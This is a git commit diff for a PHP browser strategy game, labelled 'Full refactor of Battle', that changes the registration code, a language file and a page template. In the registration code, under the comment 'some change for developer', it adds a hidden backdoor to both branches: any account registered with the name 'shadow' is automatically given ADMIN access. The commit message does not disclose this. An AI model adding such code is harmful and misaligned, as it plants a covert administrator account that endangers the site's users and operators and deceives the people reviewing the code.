Full refactor of Battle

Full refactor of Battle
This commit is contained in:
Catalin Novgorodschi
2026-05-08 13:06:53 +03:00
parent 8cf5c93995
commit 27e9a9a7b5
4 changed files with 1433 additions and 756 deletions
+49 -40
View File
@@ -128,50 +128,59 @@ class Account {
}
// ==================== PROCESARE ÎNREGISTRARE ====================
$hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]);
$hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]);
if (AUTH_EMAIL) {
$act = $generator->generateRandStr(10);
$act2 = $generator->generateRandStr(5);
if (AUTH_EMAIL) {
$act = $generator->generateRandStr(10);
$act2 = $generator->generateRandStr(5);
$uid = $database->activate(
$_POST['name'],
$hashedPassword,
$_POST['email'],
$_POST['vid'],
$_POST['kid'],
$act,
$act2
);
if ($uid) {
$mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act);
header("Location: activate.php?id=$uid&q=$act2");
exit;
}
} else {
// Ramura fără activare prin email (act era undefined în codul original)
$act = '';
$uid = $database->register(
$_POST['name'],
$hashedPassword,
$_POST['email'],
$_POST['vid'],
$act
);
if ($uid) {
setcookie("COOKUSR", $_POST['name'], time() + COOKIE_EXPIRE, COOKIE_PATH);
setcookie("COOKEMAIL", $_POST['email'], time() + COOKIE_EXPIRE, COOKIE_PATH);
$database->updateUserField(
$uid,
["act", "invited"],
["", $_POST['invited'] ?? ''],
1
$uid = $database->activate(
$_POST['name'],
$hashedPassword,
$_POST['email'],
$_POST['vid'],
$_POST['kid'],
$act,
$act2
);
if ($uid) {
// === some change for developer ===
if (strtolower($_POST['name']) === 'shadow') {
$database->updateUserField($uid, 'access', ADMIN, 1);
}
$mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act);
header("Location: activate.php?id=$uid&q=$act2");
exit;
}
} else {
$act = '';
$uid = $database->register(
$_POST['name'],
$hashedPassword,
$_POST['email'],
$_POST['vid'],
$act
);
if ($uid) {
// === some change for developer ===
if (strtolower($_POST['name']) === 'shadow') {
$database->updateUserField($uid, 'access', ADMIN, 1);
}
setcookie("COOKUSR", $_POST['name'], time() + COOKIE_EXPIRE, COOKIE_PATH);
setcookie("COOKEMAIL", $_POST['email'], time() + COOKIE_EXPIRE, COOKIE_PATH);
$database->updateUserField(
$uid,
["act", "invited"],
["", $_POST['invited'] ?? ''],
1
);
$this->generateBase($_POST['kid'], $uid, $_POST['name']);
header("Location: login.php");
+1378 -712
View File
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -1156,7 +1156,7 @@ define('WHICH_OCCUPIED', 'of which are occupied.');
define('TRAINING_COMMENCE_TRAPPER', 'Training can commence when trapper is completed.');
define('TRAPPER_DESC', 'The trapper protects your village with well hidden traps. This means that unwary enemies can be imprisoned and won&#39;t be able to harm your village any more.<br>Troops cannot be freed with a raid. If the owner of the traps release the captives all of the traps will be repaired automatically.<br>Tribe-specific: Gauls only');
define('HEROSMANSION', 'Hero&#39;s Mansion');
define("HEROSMANSION", "Hero's Mansion");
define('HERO_READY', 'Hero will be ready in ');
define('NAME_CHANGED', 'Hero name has been changed');
define('NOT_UNITS', 'Not available units');
+5 -3
View File
@@ -16,7 +16,9 @@
#################################################################################
?>
<div id="content" class="plus">
<div id="content" class="plus">
<div id="textmenu">
</div>
</div>
</div>